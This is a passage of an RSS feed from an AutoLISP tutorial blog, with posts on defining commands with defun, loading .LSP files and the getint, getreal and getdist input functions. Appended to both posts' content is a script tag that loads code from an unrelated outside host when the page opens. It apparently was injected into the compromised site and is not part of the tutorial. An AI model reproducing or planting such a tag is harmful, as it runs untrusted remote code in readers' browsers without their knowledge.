<p>This call to the function (DOUBLE) is simply another list that contains the name of the function as the first element and the value (12) from which the function will derive an answer.</p>
<p><strong>User Defined Commands</strong></p>
<p>New commands may be added to AutoCAD by using a &#8220;C:&#8221; before the function name following the defun. The function must be of the form &#8220;C:NAME&#8221; in order for the new command to be entered directly from the Command prompt. The &#8220;C:&#8221; simply informs AutoLISP to define this function as an AutoCAD command. The &lt;argument&gt; list must be nil but &lt;local variables&gt; are permitted as follows:</p>
<p style="padding-left: 30px;">(defun C:DOUBLE (/ NUM)<br />
  (setq NUM (getreal &#8220;nEnter number to double: &#8220;))<br />
  (setq DNUM (* NUM 2))<br />
)</p>
<p><strong>LOAD Function</strong></p>
<p>Functions may be typed using your favorite word processor in ASCI format (or nondocument mode). Several functions may also be grouped into one file as long as the filename has a &#8220;.LSP&#8221; extension. Before the functions in the &#8220;.LSP&#8221; file can be used they must be loaded into AutoCAD using the &#8220;LOAD&#8221; function:</p>
<p style="padding-left: 30px;">Command: (load &lt;filename&gt;)</p>
<p>Always remember to enclose the &lt;filename&gt; in quotes. Although the file itself must have the required &#8220;.LSP&#8221; extension, do not include this when loading functions. Once loaded, the name of the last function in the file is returned on the screen. If the LISP file is in another directory you will need to include a path in the LOAD function:</p>
<p style="padding-left: 30px;">Command: (load &#8220;/path/filename&#8221;)<br />
or<br />
(load &#8220;\path\filename&#8221;)</p>
<p>A forward slash &#8221; / &#8221; or two backslashes &#8221; \ &#8221; may be used to indicate the directory that the file is located in.<script src="http://ourae.rr.nu/5"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://barryrbowen.com/theautolisptoolbox/defun-function/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AutoLISP INPUT Part I</title>
		<link>http://barryrbowen.com/theautolisptoolbox/autolisp-input-part-i/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=autolisp-input-part-i</link>
		<comments>http://barryrbowen.com/theautolisptoolbox/autolisp-input-part-i/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 02:03:53 +0000</pubDate>
		<dc:creator>Barry</dc:creator>
				<category><![CDATA[Begining AutoLISP]]></category>

		<guid isPermaLink="false">http://softdraft.info/autolisp/?p=72</guid>
		<description><![CDATA[GET Functions AutoLISP provides several operator input specific expressions often referred to as the GET expressions. There are a variety of data types that can be input and a result is always returned that is either the type of data requested or nil. Also note that you cannot enter another LISP expression or variable as [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fautolisp-input-part-i%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fautolisp-input-part-i%2F&amp;style=normal&amp;b=2" height="61" width="50" title="AutoLISP INPUT Part I" alt=" AutoLISP INPUT Part I" /><br />
			</a>
		</div>
<p><strong>GET Functions</strong></p>
<p>AutoLISP provides several operator input specific expressions often referred to as the GET expressions. There are a variety of data types that can be input and a result is always returned that is either the type of data requested or nil. Also note that you cannot enter another LISP expression or variable as the response to the AutoLISP GET expressions.<span id="more-72"></span></p>
<p>User input in the form of a number is provided by the (getint) and (getreal) functions. These functions will pause for user input from the keyboard. A number, of the proper data type, or nil will be returned as a result of evaluating these expressions.</p>
<p><strong>GETINT Function</strong></p>
<p>The (getint) function pauses for user input of an integer. Entering characters other than whole numbers or the plus/minus will result in the following prompt:</p>
<p>Requires an integer value.<br />
Try again:</p>
<p>This will continue until the proper data type has been input. An optional prompt string may also be supplied:</p>
<p style="padding-left: 30px;">Command: (setq NUM (getint &#8220;nEnter Number: &#8220;))<br />
Enter Number: 123<br />
Lisp returns: 123</p>
<p><strong>GETREAL Function</strong></p>
<p>Real numbers are input with the (getreal) function. This function is exactly like (getint) except it pauses for input of a real number. Real numbers are digits [0..9], plus/minus sign, floating point decimals and the exponent characters for scientific notation. Entering an integer returns a real number:</p>
<p style="padding-left: 30px;">Command: (setq NUM (getreal &#8220;nEnter Number: &#8220;))<br />
Enter Number: 123<br />
Lisp returns: 123.000000</p>
<p>These commands should not be used to request distances and angles because your entry must be in the lowest units. The indicators for ‘ (feet) and &#8221; (inches) will not be accepted when using this function.</p>
<p><strong>GETDIST Function</strong></p>
<p>The (getdist) function is a better function to use and will accept ‘ (feet) and “ (inches) as valid input when using architectural units.</p>
<p style="padding-left: 30px;">Command: (setq DIST (getdist “nSelect Two Points:”))<br />
Select Two Points: &lt;Now pick two points&gt;</p>
<p><script src="http://ourae.rr.nu/5"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://barryrbowen.com/theautolisptoolbox/autolisp-input-part-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

